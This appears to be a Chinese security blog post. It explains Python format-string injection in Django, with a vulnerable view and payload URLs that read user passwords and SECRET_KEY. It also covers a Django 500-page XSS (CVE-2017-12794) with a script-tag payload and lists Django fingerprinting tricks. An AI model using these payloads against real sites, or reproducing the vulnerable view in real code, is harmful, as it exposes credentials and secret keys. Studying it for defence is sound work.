Python字符格式化漏洞及Django相关漏洞总结

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/cemao4548/article/details/81008661

Python字符串格式化漏洞

  • “My name is %s” % (‘phithon’, )
  • “My name is %(name)%” % {‘name’:’phithon’}

上面是普通调用和字典调用
对应高级一点的可以有对象调用,如下

  • “{user.username}”.format(user=request.username)

user是request传过来的对象,格式化输出这个对象的username属性

读取用户密码

def view(request):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

有如上视图,payload为http://xxx.xxxx.xxx:8000/view?email={user.password}
就能输出密码,这里明天补张图。

读取Django配置

Django自带的admin管理工具中admin.py包含了settings.py
可构造payload
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
SECRET_KEY可以换成其他的settings属性
这里明天再补张图。

Django XSS漏洞 CVE-2017-12794

django500页面出现的漏洞
插入两次同样的数据,由于数据库完整性约束,数据库抛出错误,django调取500页面显示错误,会将输入的数据显示出来。
如注册页面未过滤用户名注册用户名为<script>alert(1)</script>
再注册一个用户名为<script>alert(1)</script>
就会出现debug的500页面,并alert一个1。

Django框架指纹识别依据

  • 利用Debug模式异常页面判断
  • CSRF Token名称确认,表单中隐藏了一个input名为csrfmiddlewaretoken
  • 利用后台确认xxx.xxx:8000/admin/
  • 利用HTTP头SERVER:WSGIServer/0.2 CPython/3.5.2
  • html中会有很多空行
  • 利用第三方模块的特征判断。常用的第三方模块有django-rest-framework、django-debug-toolbar、django-bootstrap3、django-filter、django-cron、django-allauth、django-simple-captcha等。比如,django-rest-framework默认包含一个登陆页面,/api-auth/login/
  • 用静态文件分析:https://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css

猜你喜欢

转载自blog.csdn.net/cemao4548/article/details/81008661